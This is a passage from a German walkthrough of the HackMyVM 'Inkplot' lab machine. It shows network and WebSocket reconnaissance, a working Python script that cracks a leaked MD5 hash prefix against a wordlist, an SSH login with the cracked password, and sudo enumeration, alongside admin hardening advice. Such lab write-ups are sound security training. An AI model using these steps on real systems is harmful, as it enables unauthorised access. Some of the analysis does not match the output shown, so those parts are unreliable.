Inkplot - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
curl
wscat
nano
python3
ssh
sudo
ls
cat
cd
import
json
argparse
Crypto.Cipher
base64
echo
chmod
cp
nc
find

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Wie immer beginne ich den Pentest mit der Aufklärung des Netzwerks, um das Zielsystem zu lokalisieren. Ich verwende `arp-scan` mit der Option `-l`, um alle Geräte in meinem lokalen Subnetz zu scannen und filtere die Ausgabe mit `grep "PCS"`, um Systeme mit einer MAC-Adresse zu finden, die auf VirtualBox-VMs hinweist. Mit `awk '{print $1}'` extrahiere ich schließlich die IP-Adresse der gefundenen Maschine.

**Bewertung:** Dieser Befehl ist ein schneller und effizienter Weg, um die IP-Adresse der Ziel-VM im lokalen Netzwerk zu identifizieren. Das Wissen um die Virtualisierungsplattform (PCS/VirtualBox) erlaubt eine gezielte Filterung und beschleunigt den Prozess.

**Empfehlung (Pentester):** Nutze Netzwerk-Scanner wie `arp-scan` oder `netdiscover` zu Beginn, um Ziele im lokalen Netz zu identifizieren. Sei auf Hinweise wie MAC-Adressen-Prefixe vorbereitet, die auf die Umgebung schließen lassen.
**Empfehlung (Admin):** Überwache dein Netzwerk auf ARP-Scans. Standard-MAC-Adressen-Prefixe für virtuelle Maschinen können Angreifern helfen, Ziele schneller zu identifizieren.

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.43

**Analyse:** Nachdem die IP-Adresse des Zielsystems (192.168.2.43) ermittelt wurde, füge ich einen Eintrag in meine lokale `/etc/hosts`-Datei hinzu. Ich verwende den Texteditor `vi` und füge die Zeile `192.168.2.43 inplot.hmv` hinzu.

**Bewertung:** Das Eintragen des Hostnamens in die `hosts`-Datei ist eine Standardpraxis, um das Zielsystem mit einem aussagekräftigeren Namen ansprechen zu können. Dies macht die nachfolgenden Befehle und URLs lesbarer und einfacher zu verwalten, insbesondere wenn virtuelle Hosts im Spiel sind, auch wenn dies hier primär der Bequemlichkeit dient.

**Empfehlung (Pentester):** Verwende die lokale `hosts`-Datei für eine klarere Benennung von Zielen während des Tests.
**Empfehlung (Admin):** Stelle sicher, dass interne Hostnamen nicht leicht zu erraten sind und keine Informationen über interne Netzwerke preisgeben, falls sie nach außen gelangen.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
 192.168.2.43    inplot.hmv

**Analyse:** Ich führe einen schnellen Nmap-Scan auf dem Zielsystem (192.168.2.43) durch, um offene Ports und darauf laufende Dienste zu identifizieren. Die Optionen sind `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-p-` (alle Ports) und `-T5` (aggressives Timing). Die Ausgabe filtere ich zunächst mit `grep open`, um einen schnellen Überblick über die erreichbaren Dienste zu erhalten.

**Bewertung:** Dieser Scan zeigt zwei offene Ports: 22/tcp (SSH) und 3000/tcp (WebSocket). SSH ist ein Standarddienst, der oft eine Angriffsfläche bietet (schwache Passwörter, bekannte Schlüssel). Der Dienst auf Port 3000 ist als "websocket Ogar agar.io server" gekennzeichnet, was auf eine spezifische Anwendung hinweist, die weiter untersucht werden muss. Der nicht standardmäßige Port 3000 ist auffällig.

**Empfehlung (Pentester):** Führe immer vollständige Port-Scans durch, um alle erreichbaren Dienste zu finden. Priorisiere Standarddienste (SSH) und ungewöhnliche Dienste auf hohen Ports.
**Empfehlung (Admin):** Führe regelmäßige Port-Scans deines eigenen Netzwerks durch. Schließe oder schränke den Zugriff auf Ports ein, die nicht zwingend öffentlich erreichbar sein müssen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.43 | grep open
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2 (protocol 2.0)
3000/tcp open  websocket Ogar agar.io server

**Analyse:** Ich führe den vollständigen Nmap-Scan auf 192.168.2.43 mit denselben Optionen (`-sS`, `-sC`, `-sV`, `-p-`, `-T5`, `-AO`) durch. Die vollständige Ausgabe liefert mehr Details über die gefundenen Dienste und das Betriebssystem.

**Bewertung:** Die vollständige Ausgabe bestätigt die Dienste auf Port 22 (OpenSSH 9.2p1 Debian 2) und 3000 (WebSocket Ogar agar.io server). Die SSH-Hostkeys werden angezeigt, was nützlich sein kann, um Man-in-the-Middle-Angriffe zu erkennen oder um bekannte Hosts abzugleichen. Die aggressive OS-Erkennung schätzt das System als Linux 4.X|5.X, wahrscheinlich OpenWrt oder Debian, was mit der SSH-Version übereinstimmt. Diese Informationen bestätigen die Angriffsflächen: SSH und der WebSocket-Dienst.

**Empfehlung (Pentester):** Analysiere die vollständige Nmap-Ausgabe sorgfältig auf Versionsinformationen und Skriptergebnisse. Nutze die erkannten Dienste und Versionen, um nach bekannten Schwachstellen zu suchen.
**Empfehlung (Admin):** Halte SSH-Server und das Betriebssystem auf dem neuesten Stand. Überwache SSH-Login-Versuche. Stelle sicher, dass nur die benötigten Dienste laufen und identifizierbar sind. Deaktiviere die aggressive OS-Erkennung, wenn sie nicht benötigt wird.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.43
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-14 21:43 CEST
Nmap scan report for inplot.hmv (192.168.2.43)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
3000/tcp open  websocket Ogar agar.io server
MAC Address: 08:00:27:F1:97:62 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms inplot.hmv (192.168.2.43)

Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds

Web Enumeration

**Analyse:** Zusätzlich zum Nmap-Scan führe ich einen weiteren Scan des Webdienstes auf Port 3000 mit dem Tool `nikto` durch. Nikto ist ein Webserver-Scanner, der nach einer Vielzahl von Schwachstellen, Fehlkonfigurationen und unsicheren Dateien sucht. Ich gebe die Ziel-URL mit Port an: `http://192.168.2.43:3000`.

**Bewertung:** Der Nikto-Scan auf Port 3000 liefert nur begrenzte Ergebnisse. Er meldet das Fehlen der HTTP-Sicherheitsheader `X-Frame-Options` und `X-Content-Type-Options`, findet aber keine CGI-Verzeichnisse oder andere spezifische Web-Schwachstellen. Der Server liefert kein Banner. Dies deutet darauf hin, dass Port 3000 zwar auf HTTP-Anfragen antwortet, aber möglicherweise keinen vollständigen Webserver hostet oder eine spezifische Anwendung läuft, die Nikto nicht umfassend prüfen kann. Dies bestätigt die Nmap-Angabe "websocket", die vermuten lässt, dass es sich nicht um einen Standard-HTTP-Dienst handelt.

**Empfehlung (Pentester):** Führe Web-Scanner auch auf nicht standardmäßigen Ports aus, die im Nmap-Scan als offen gemeldet wurden. Interpretiere begrenzte Ergebnisse als Hinweis darauf, dass der Dienst möglicherweise kein Standard-HTTP spricht und andere Tools oder manuelle Untersuchung erforderlich sind.
**Empfehlung (Admin):** Stelle sicher, dass alle Webserver (auch auf nicht standardmäßigen Ports) grundlegende Sicherheitshärtungen aufweisen, wie das Setzen relevanter HTTP-Sicherheitsheader. Entferne oder maskiere Server-Banner, um Informationen über die verwendete Software zu reduzieren.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.43:3000
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.43
+ Target Hostname:    192.168.2.43
+ Target Port:        3000
+ Start Time:         2025-06-14 21:43:25 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 8101 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time:           2025-06-14 21:43:39 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Um das Verhalten des Dienstes auf Port 3000 besser zu verstehen, sende ich eine HEAD-Anfrage mit `curl -Iv`. Die Option `-I` bewirkt, dass nur die Header der Antwort abgerufen werden, und `-v` liefert detaillierte Informationen über den Verbindungsaufbau und die gesendeten/empfangenen Header.

**Bewertung:** Diese `curl`-Anfrage liefert ein entscheidendes Ergebnis: Der Server antwortet mit dem HTTP-Statuscode `426 Upgrade Required`. Dieser Code wird spezifisch verwendet, um dem Client mitzuteilen, dass er ein anderes Protokoll verwenden muss, typischerweise WebSocket (wie in Nmap vermutet). Der Dienst ist also kein Standard-HTTP-Server, sondern ein WebSocket-Endpunkt, der einen Protokoll-Upgrade erwartet. Dies erklärt, warum Nikto nur grundlegende HTTP-Header-Probleme fand.

**Empfehlung (Pentester):** Untersuche Dienste auf ungewöhnlichen Ports immer manuell mit Tools wie `curl`, um ihr Verhalten und das erwartete Protokoll zu identifizieren, bevor du spezialisierte Tools einsetzt. Achte auf HTTP-Statuscodes, insbesondere solche außerhalb der standardmäßigen 2xx oder 3xx Bereiche.
**Empfehlung (Admin):** Verstehe die HTTP-Statuscodes, die deine Anwendungen zurückgeben. Stelle sicher, dass Dienste, die Protokoll-Upgrades erfordern (wie WebSocket), korrekt konfiguriert sind und klare, nicht-informationsreiche Antworten auf unpassende Anfragen geben.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.43:3000 -Iv
*   Trying 192.168.2.43:3000...
* Connected to 192.168.2.43 (192.168.2.43) port 3000
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.43:3000
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 426 Upgrade Required <-- Entscheidender Statuscode!
HTTP/1.1 426 Upgrade Required
< Content-Length: 16
Content-Length: 16
< Content-Type: text/plain
Content-Type: text/plain
< Date: Sat, 14 Jun 2025 19:44:47 GMT
Date: Sat, 14 Jun 2025 19:44:47 GMT
< Connection: keep-alive
Connection: keep-alive
< Keep-Alive: timeout=5
Keep-Alive: timeout=5
<

* Connection #0 to host 192.168.2.43 left intact

**Analyse:** Ich versuche, die Adresse `http://inplot.hmv:3000/` in einem Standard-Webbrowser aufzurufen.

**Bewertung:** Wie erwartet nach dem `curl`-Ergebnis, zeigt der Browser lediglich die Meldung "Upgrade Required" an. Dies liegt daran, dass ein Standard-Browser versucht, eine normale HTTP-Verbindung aufzubauen, während der Server einen WebSocket-Protokoll-Upgrade erwartet. Dies bestätigt erneut, dass ich einen WebSocket-Client benötige, um mit dem Dienst zu interagieren.

**Empfehlung (Pentester):** Nutze Browser-Checks, um die offensichtliche Darstellung eines Dienstes zu sehen. Sei dir bewusst, dass dies bei Nicht-Standard-HTTP-Diensten begrenzt nützlich sein kann.
**Empfehlung (Admin):** Stelle sicher, dass nicht-HTTP-Dienste auf HTTP-Ports (wie 80 oder 443) nicht Standard-HTTP-Antworten geben, die unnötige Informationen preisgeben.

http://inplot.hmv:3000/

Upgrade Required

**Analyse:** Ich beziehe mich noch einmal auf den Hinweis aus dem Nmap-Scan, der den Dienst auf Port 3000 als "websocket Ogar agar.io server" identifiziert hat. "Ogar" ist eine bekannte Open-Source-Implementierung des beliebten Online-Spiels agar.io.

**Bewertung:** Dieser Hinweis ist wichtig, da er den Typ der Anwendung auf Port 3000 spezifiziert. Es handelt sich wahrscheinlich um einen Spielserver oder eine darauf basierende Anwendung. Dies deutet darauf hin, dass die Kommunikation über WebSockets möglicherweise einem spezifischen, spielbezogenen Protokoll folgt oder zumindest eine Art von textbasierter Schnittstelle bietet, wie sie oft in solchen Servern zu finden ist (z. B. für Chat oder Konsolenbefehle).

**Empfehlung (Pentester):** Recherchiere identifizierte Anwendungsnamen oder Versionen sofort auf bekannte Schwachstellen oder Standardkonfigurationen. Verstehe den Zweck und das erwartete Protokoll des Dienstes.
**Empfehlung (Admin):** Betreibe nur notwendige Dienste und Anwendungen. Vermeide die Veröffentlichung interner oder Test-Anwendungen im Internet.

nmap hinweis:  websocket Ogar agar.io

**Analyse:** Um mit dem WebSocket-Dienst auf Port 3000 zu interagieren, verwende ich das Tool `wscat`. Dies ist ein Befehlszeilen-Tool, das speziell für die Kommunikation mit WebSocket-Servern entwickelt wurde. Ich verbinde mich mit dem Befehl `wscat -c ws://inplot.hmv:3000`, wobei `-c` für "connect" steht und die URL das WebSocket-Protokoll (`ws://`) und den Hostnamen/Port angibt. Nach erfolgreichem Verbindungsaufbau kann ich Nachrichten senden und empfangen. Die empfangene Ausgabe zeigt eine Konversation, die wie ein IRC-Chat aussieht ("Welcome to our InkPlot secret IRC server"). Die Benutzer `Bob`, `Alice` und `Leila` diskutieren über das Abschalten von "Leila", ein "defense system" und erwähnen einen "MD5 hash" mit dem Präfix `d51540...`. Meine eigenen Eingaben (`ls`, `id`, etc.) werden einfach mit "Leila: " davor zurückgegeben, was darauf hindeutet, dass dies entweder ein sehr einfacher Echo-Dienst ist oder spezifische Kommandos erwartet werden, die ich noch nicht kenne.

**Bewertung:** Der WebSocket-Dienst ist eine textbasierte Schnittstelle, die offenbar als "secret IRC server" dient. Die Konversation zwischen Bob und Alice ist ein massives Informationsleck! Sie enthüllt nicht nur die Benutzernamen `Leila`, `Bob` und `Alice`, sondern auch einen partiellen MD5-Hash (`d51540...`) und den Kontext, dass dieser Hash relevant ist, um "Leila off her digital pedestal" zu stoßen. Dies ist ein klarer Hinweis darauf, dass der Hash zu einem Passwort für das Benutzerkonto `leila` gehört und für den Initial Access benötigt wird. Die Tatsache, dass meine Kommandos einfach zurückgegeben werden, könnte auf eine grundlegende Kommandoausführung hindeuten, ist aber in erster Linie eine Bestätigung, dass der Server meine Eingaben verarbeitet.

**Empfehlung (Pentester):** Wenn du auf ungewöhnliche Dienste stößt, versuche, mit geeigneten Clients zu interagieren (z.B. `wscat` für WebSockets, `nc` für rohe TCP/UDP-Verbindungen). Suche nach Informationen in Nachrichten oder Service-Bannern. Priorisiere das Sammeln von Benutzernamen und potenziellen Zugangsdaten.
**Empfehlung (Admin):** Speichere niemals sensitive Konversationen oder Zugangsdaten (auch keine partiellen Hashes) in Diensten, die potenziell zugänglich sind. Überprüfe interne Kommunikationsplattformen auf Informationslecks. Stelle sicher, dass unauthentifizierte Benutzer keinen Zugriff auf interne Dienste oder sensible Daten haben.

┌──(root㉿CCat)-[~] └─# wscat -c ws://inplot.hmv:3000
Connected (press CTRL+C to quit)
< Welcome to our InkPlot secret IRC server
< Bob: Alice, ready to knock our naive Leila off her digital pedestal?
< Alice: Bob, I've been dreaming about this for weeks. Leila has no idea what's about to hit her.
< Bob: Exactly. We're gonna tear her defense system apart. She won't see it coming.
< Alice: Poor Leila, always so confident. Let's do this.
< Bob: Alice, I'll need that MD5 hash to finish the job. Got it?
< Alice: Yeah, I've got it. Time to shake Leila's world.
< Bob: Perfect. Release it.
< Alice: Here it goes: d51540... <-- Kritischer Hash!
< *Alice has disconnected*
< Bob: What?! Damn it, Alice?! Not now!
< Leila: clear
> ls
< Leila: ls
> id
< Leila: id
> /list
< Leila: /list
> /commands
< Leila: /commands
> ?
< Leila: ?
> /help
< Leila: /help
> help
< Leila: help
>

**Analyse:** Nachdem ich den partiellen MD5-Hash (`d51540...`) und den Benutzernamen `leila` aus der WebSocket-Kommunikation extrahiert habe, ist der nächste logische Schritt, zu versuchen, das zugehörige Passwort zu knacken. Basierend auf der Erfahrung, dass MD5-Hashes von Kommandozeilen-Tools wie `echo "password" | md5sum` oft den Zeilenumbruch am Ende des Passworts mit einbeziehen, erstelle ich ein Python-Skript namens `hash_crack.py`. Dieses Skript liest eine Wortliste (`rockyou.txt`), hängt an jedes Passwort einen Zeilenumbruch an, berechnet den MD5-Hash der resultierenden Zeichenkette und prüft, ob dieser Hash mit dem bekannten Präfix `d51540` beginnt.

**Bewertung:** Die Erstellung eines benutzerdefinierten Skripts, das speziell den Sonderfall des Zeilenumbruchs beim Hashing berücksichtigt, ist entscheidend für den Erfolg. Viele standardmäßige Hash-Cracking-Tools berücksichtigen diesen Nuance nicht. Die Verwendung einer großen Wortliste wie `rockyou.txt` erhöht die Wahrscheinlichkeit, dass das tatsächliche Passwort gefunden wird.

**Empfehlung (Pentester):** Sei dir der verschiedenen Methoden bewusst, wie Hashes generiert werden (z.B. mit/ohne Zeilenumbruch, verschiedene Encodings). Schreibe bei Bedarf benutzerdefinierte Skripte, um spezielle Hashing-Formate zu handhaben. Nutze umfassende Wortlisten für Brute-Force- und Wörterbuchangriffe.
**Empfehlung (Admin):** Speichere niemals Passwort-Hashes (oder Teile davon) an Orten, die für unauthentifizierte Benutzer zugänglich sind. Verwende sichere Hashing-Algorithmen mit Salt (wie bcrypt oder scrypt) anstelle von anfälligen Algorithmen wie MD5.

┌──(root㉿CCat)-[~] └─# nano hash_crack.py
import hashlib
import sys

# --- Konfiguration ---
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
HASH_PREFIX = "d51540"
# ---------------------

def crack_hash():
    """
    Liest rockyou.txt, aber berechnet den Hash von "passwort\n",
    genau wie es 'echo "passwort" | md5sum' tun würde.
    """
    try:
        print(f"[*] Starte KORRIGIERTEN Angriff auf Hash-Prefix '{HASH_PREFIX}' mit der Wordlist '{WORDLIST_PATH}'...")
        found_passwords = []
        with open(WORDLIST_PATH, 'r', encoding='latin-1') as wordlist_file:
            for line in wordlist_file:
                # Entferne eventuelle Leerzeichen, aber behalte das Passwort.
                # Wichtig: line enthält hier noch den \n am Ende!
                password = line.strip()

                # DER ENTSCHEIDENDE PUNKT: Füge den Zeilenumbruch wieder hinzu,
                # behör du den Hash berechnetst.
                password_with_newline = password + '\n'

                # Hashe die Version mit dem Zeilenumbruch.
                password_bytes = password_with_newline.encode('utf-8')
                hex_digest = hashlib.md5(password_bytes).hexdigest()

                if hex_digest.startswith(HASH_PREFIX):
                    # Treffer! Gib das Ergebnis aus und sammle es.
                    print(f"[+] Treffer gefunden! Passwort: '{password}', Hash: {hex_digest}")
                    found_passwords.append(password)

        print("\n" + "="*40)
        if found_passwords:
            print("[+] Suche beendet. Folgende Passworter wurden gefunden:")
            for p in found_passwords:
                print(f"    - {p}")
            print("\nProbier diese Passworter für den Benutzer 'leila' via SSH!")
        else:
            print("[-] Suche beendet. Kein passendes Passwort gefunden.")
        print("="*40)

    except FileNotFoundError:
        print(f"[-] FEHLER: Die Wordlist unter '{WORDLIST_PATH}' wurde nicht gefunden.")
    except Exception as e:
        print(f"[-] Ein unerwarteter Fehler ist aufgetreten: {e}")

if __name__ == "__main__":
    crack_hash()

**Analyse:** Ich führe das Python-Skript `hash_crack.py` mit `python3` aus. Das Skript wird die Wortliste `rockyou.txt` durchgehen, die MD5-Hashes mit angehängtem Zeilenumbruch berechnen und nach Treffern suchen, die mit `d51540` beginnen.

**Bewertung:** Fantastisch! Das Skript findet zwei Passwörter in der Wortliste, deren MD5-Hash (mit Zeilenumbruch) mit `d51540` beginnt: "palmira" und "intelinside". Das ist ein voller Erfolg beim Hash-Cracking. Der Skriptausgabe deutet auch darauf hin, dass diese Passwörter für den Benutzer `leila` über SSH ausprobiert werden sollen. Ich habe jetzt zwei starke Kandidaten für Leilas Passwort.

**Empfehlung (Pentester):** Führe selbst erstellte Cracking-Skripte aus, wenn Standard-Tools das Hashing-Format nicht unterstützen. Versuche alle gefundenen Passwortkandidaten systematisch für die identifizierten Benutzerkonten und Dienste.
**Empfehlung (Admin):** Vermeide MD5 für das Hashing von Passwörtern. Nutze moderne, salzende Algorithmen wie bcrypt oder scrypt. Stelle sicher, dass Passwörter komplex sind und nicht aus einfachen Wortlisten (auch nicht in Kombinationen mit Zeilenumbrüchen oder anderen Tricks) zu erraten sind. Überwache Systeme auf ungewöhnliche Rechenlast, die auf Cracking-Versuche hindeuten könnte (obwohl dies hier offline stattfand).

┌──(root㉿CCat)-[~] └─# python3 hash_crack.py
[*] Starte KORRIGIERTEN Angriff auf Hash-Prefix 'd51540' mit der Wordlist '/usr/share/wordlists/rockyou.txt'...
[+] Treffer gefunden! Passwort: 'palmira', Hash: d515407c6ec25b2a61656a234ddf22bd <-- Erster Treffer!
[+] Treffer gefunden! Passwort: 'intelinside', Hash: d51540c4ecaa62b0509f453fee4cd66b <-- Zweiter Treffer!

========================================
[+] Suche beendet. Folgende Passworter wurden gefunden:
    - palmira
    - intelinside

Probier diese Passworter für den Benutzer 'leila' via SSH!
========================================

Initial Access

**Analyse:** Mit den zwei gefundenen Passwortkandidaten aus der Hash-Entschlüsselung (`palmira`, `intelinside`) versuche ich nun, mich per SSH am Zielsystem (192.168.2.43) als Benutzer `leila` anzumelden. Ich verwende den Befehl `ssh leila@192.168.2.43` und gebe auf Nachfrage das erste gefundene Passwort, "palmira", ein.

**Bewertung:** Fantastisch, der SSH-Login mit "palmira" ist erfolgreich! Dies wird durch die SSH-Willkommensnachricht, die Systeminformationen, die Oh My Zsh-Update-Meldung und den angezeigten Shell-Prompt (`╭─leila@inkplot ~ ╰─$`) bestätigt. Ich habe nun eine interaktive Shell auf dem Zielsystem mit den Berechtigungen des Benutzers `leila`. Dies ist der erste kompromittierte Benutzeraccount und somit der initiale Zugang zum System.

**Empfehlung (Pentester):** Nutze gefundene Passwörter sofort für die infrage kommenden Dienste (hier SSH) und Benutzerkonten. Priorisiere Passwörter, die als erste geknackt wurden oder am wahrscheinlichsten erscheinen. Nach erfolgreichem Login sofort grundlegende Systemaufklärung (Benutzer-ID, sudo, Dateisystem) durchführen.
**Empfehlung (Admin):** Setze starke, eindeutige Passwörter für alle Benutzerkonten, auch für vermeintlich weniger kritische. Verwende keine Passwörter, die in bekannten Wortlisten enthalten sind. Implementiere Multi-Faktor-Authentifizierung für kritische Dienste wie SSH. Überwache SSH-Login-Logs auf fehlgeschlagene Anmeldeversuche (Brute Force).

┌──(root㉿CCat)-[~] └─# ssh leila@192.168.2.43
Auto-standby now activated after 2 min of inactivity
leila@192.168.2.43's password: palmira
Linux inkplot 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[oh-my-zsh] Would you like to update? [Y/n] y
Updating Oh My Zsh
master

You can see the changelog with 'omz changelog'
         __                                     __
  ____  / /_     ____ ___  __  __   ____  _____/ /_
 / __ \/ __ \   / __ `__ \/ / / /  /_  / / ___/ __ \
/ /_/ / / / /  / / / / / / /_/ /    / /_(__  ) / / /
\____/_/ /_/  /_/ /_/ /_/\__, /    /___/____/_/ /_/
                        /____/

Hoorray! Oh My Zsh has been updated!

To keep up with the latest news and updates, follow us on Twitter: [Link: https://twitter.com/ohmyzsh | Ziel: https://twitter.com/ohmyzsh]
Want to get involved in the community? Join our Discord: [Link: https://discord.gg/ohmyzsh | Ziel: https://discord.gg/ohmyzsh]
Get your Oh My Zsh swag at: [Link: https://shop.planetargon.com/collections/oh-my-zsh | Ziel: https://shop.planetargon.com/collections/oh-my-zsh]
╭─leila@inkplot ~
╰─$

Privilege Escalation

**Analyse:** Nachdem ich als Benutzer `leila` angemeldet bin, ist mein nächster Schritt, meine Berechtigungen auf dem System zu erhöhen (Privilege Escalation). Zuerst prüfe ich die `sudo`-Berechtigungen des Benutzers `leila` mit dem Befehl `sudo -l`. Dies zeigt, welche Befehle `leila` mit erhöhten Rechten ausführen darf.

**Bewertung:** Die Ausgabe von `sudo -l` zeigt, dass der Benutzer `leila` den Befehl `/usr/bin/python3 /home/pauline/cipher.py*` als Benutzer `pauline` ausführen darf, und zwar ohne Passwort (`NOPASSWD`). Der Stern (`*`) am Ende des Pfades bedeutet, dass `leila` das Python-Skript `cipher.py` und jede Datei, die mit `/home/pauline/cipher.py` beginnt (z.B. `cipher.pyc`), als `pauline` ausführen darf. Dies ist ein klarer Privilege Escalation-Vektor von `leila` zu `pauline`.

**Empfehlung (Pentester):** Prüfe nach jeder kompromittierten Benutzer-Shell sofort die `sudo`-Berechtigungen (`sudo -l`). Identifiziere Befehle oder Skripte, die als andere Benutzer (insbesondere privilegierte) mit `NOPASSWD` ausgeführt werden dürfen.
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen nach dem Prinzip der geringsten Rechte. Vermeide die Verwendung von Wildcards (`*`) in `sudoers`-Einträgen. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten.

╭─leila@inkplot ~
╰─$ sudo -l
Matching Defaults entries for leila on inkplot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User leila may run the following commands on inkplot:
    (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py*

**Analyse:** Um zu sehen, welche Benutzer auf dem System existieren, liste ich die Verzeichnisse im `/home`-Ordner auf. Dies gibt mir die Namen der Benutzerkonten.

**Bewertung:** Die Ausgabe zeigt die Home-Verzeichnisse `leila` und `pauline`. Da ich bereits als `leila` angemeldet bin und laut `sudo -l` Berechtigungen habe, Skripte als `pauline` auszuführen, bestätigt dies, dass `pauline` das relevante Benutzerkonto für den nächsten Privilege Escalation-Schritt ist.

**Empfehlung (Pentester):** Identifiziere Benutzerkonten auf dem System (z.B. durch Auflisten von Home-Verzeichnissen in `/home` oder durch Analysieren von `/etc/passwd`, falls lesbar). Korreliere diese Benutzer mit gefundenen Passwörtern oder Sudo-Berechtigungen.
**Empfehlung (Admin):** Stelle sicher, dass Dateisystemberechtigungen verhindern, dass unbefugte Benutzer die Home-Verzeichnisse anderer Benutzer auflisten können.

╭─leila@inkplot ~
╰─$ ls ..
leila  pauline

**Analyse:** Ich prüfe meine aktuelle Benutzer-ID und Gruppenzugehörigkeit mit dem `id`-Befehl. Dies dient zur Bestätigung meiner aktuellen Berechtigungsstufe (Benutzer `leila`).

**Bewertung:** Die Ausgabe bestätigt, dass ich als `uid=1003(leila)` mit der Gruppe `gid=1003(leila)` und der zusätzlichen Gruppe `100(users)` angemeldet bin. Dies sind Standardberechtigungen für einen unprivilegierten Benutzer und bestätigt den Ausgangspunkt für die Privilege Escalation.

**Empfehlung (Pentester):** Führe immer `id` aus, um deine aktuelle Berechtigungsstufe zu verstehen. Prüfe die Gruppenzugehörigkeiten auf interessante Gruppen (z.B. `adm`, `sudo`, `docker`, `lxd`).
**Empfehlung (Admin):** Verstehe die Gruppenstruktur auf deinem System. Weise Benutzer nur den Gruppen zu, die sie unbedingt benötigen. Vermeide es, normale Benutzer kritischen Gruppen wie `sudo` oder `admin` zuzuweisen.

╭─leila@inkplot ~/.ssh
╰─$ id
uid=1003(leila) gid=1003(leila) groups=1003(leila),100(users)

**Analyse:** Ich wechsle in das Home-Verzeichnis des Benutzers `pauline` (`cd /home/pauline`) und liste den Inhalt und die Berechtigungen mit `ls -la` auf. Dies gibt mir Einblick in die Dateien, auf die `pauline` Zugriff hat und die für die Ausnutzung des `sudo`-Vektors relevant sein könnten.

**Bewertung:** Ich kann in das Verzeichnis `/home/pauline` wechseln und dessen Inhalt auflisten (`drwx---r-x`). Dies zeigt, dass das Verzeichnis für den Besitzer (`pauline`) schreib-, lese- und ausführbar ist, für die Gruppe (`pauline`) lese- und ausführbar, aber für andere (inklusive `leila`) nur lese- und ausführbar (`r-x`). Ich kann also in das Verzeichnis navigieren und Dateien lesen, aber nicht schreiben. Die Auflistung zeigt wichtige Dateien wie `.bashrc`, `.profile`, `cipher.py`, `keys.json`, `user.txt` und ein `.ssh`-Verzeichnis. Das `cipher.py` Skript ist relevant für den `sudo`-Vektor. `keys.json` und `user.txt` sind ebenfalls hochinteressant.

**Empfehlung (Pentester):** Erkunde die Home-Verzeichnisse anderer Benutzer, auf die du Zugriff hast (auch wenn es nur Lesezugriff ist). Suche nach Skripten, Konfigurationsdateien (`.bashrc`, `.profile`, etc.), SSH-Schlüsseln (`.ssh`) und sensiblen Daten.
**Empfehlung (Admin):** Stelle sicher, dass Home-Verzeichnisse und ihre Inhalte standardmäßig nur für den Eigentümer zugänglich sind (`chmod 700 /home/benutzer`). Vermeide die öffentliche Lesbarkeit wichtiger Dateien.

╭─leila@inkplot /home/pauline
╰─$ ls -la
total 52
drwx---r-x  5 pauline pauline 4096 Aug  3  2023 .
drwxr-xr-x  4 root    root    4096 Jul 28  2023 ..
-rw-r--r--  1 pauline pauline  220 Jul 22  2023 .bash_logout
-rw-r--r--  1 pauline pauline 3526 Jul 22  2023 .bashrc
-rw-r--r--  1 pauline pauline 1738 Aug  1  2023 cipher.py
-rw-r-----  1 pauline pauline   44 Jul 25  2023 keys.json
-rw-------  1 pauline pauline   20 Aug  1  2023 .lesshst
